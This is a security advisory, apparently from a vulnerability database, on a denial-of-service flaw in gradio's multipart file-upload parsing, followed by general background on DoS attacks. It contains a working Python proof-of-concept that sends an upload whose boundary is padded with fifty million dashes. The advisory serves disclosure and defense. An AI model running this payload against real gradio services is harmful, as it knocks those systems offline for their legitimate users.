Denial of Service (DoS) Affecting gradio package, versions [0,]

gradio is a Python library for easily interacting with trained machine learning models

Affected versions of this package are vulnerable to Denial of Service (DoS) through the file upload process. An attacker can append a large number of characters to the end of a multipart boundary, causing the system to continuously process each character and issue warnings. This can render the system inaccessible for extended periods, disrupting services and causing significant downtime.

import requests

# Configuration
num = 50000000
url = "http://127.0.0.1:7860/login"
headers = {
    "Content-Type": "multipart/form-data; boundary=---------------------------284178091740602105783377960069"
}

# The exact raw payload as specified
data = (
    "-----------------------------284178091740602105783377960069\r\n"
    "Content-Disposition: form-data; name=\"uploadFile\"; filename=\"test.txt\"\r\n"
    "Content-Type: text/plain\r\n\r\n"
    "Hello I am test\r\n"
    "-----------------------------284178091740602105783377960069--" + '-' * num + "\r\n"
)

response = requests.post(url, headers=headers, data=data.encode('utf-8'), verify=False)

# Print response status code
print(response.status_code)

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

• Vulnerable Code